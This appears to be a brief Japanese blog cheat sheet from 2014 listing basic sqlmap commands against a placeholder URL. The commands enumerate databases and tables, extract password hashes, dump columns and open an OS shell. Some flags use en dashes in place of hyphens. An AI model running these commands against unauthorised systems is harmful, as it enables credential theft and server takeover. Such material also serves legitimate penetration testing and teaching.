sqlmap基本コマンドの使い方

2014年7月10日

基本コマンド：

./sqlmap.py –h //ヘルプの情報の確認

./sqlmap.py –u “XXX” //get

./sqlmap.py –u “XXX” –data “DATA”//post

./sqlmap.py –u “XXX” –cookie “COOKIE”//リクエストcooikeを修正

./sqlmap.py –u “XXX” –dbs //データベース列

./sqlmap.py –u “XXX” –-users //ユーザー

./sqlmap.py –u “XXX” –-passwords //パスワードを取得ハッシュ

./sqlmap.py –u “XXX” –-tables -D DB_NAME //DB_NAMEのテーブル列

./sqlmap.py –u “XXX” –-columns –T TB_NAME -D DB_NAME //TB_NAMEの列を読み取る

./sqlmap.py –u “XXX” –-dump –C C1,C2,C3 –T TB_NAME -D DB_NAME //フィールドC1、C2、C3データを読み取る

./sqlmap.py –u “XXX” –-os-shell //shellを取得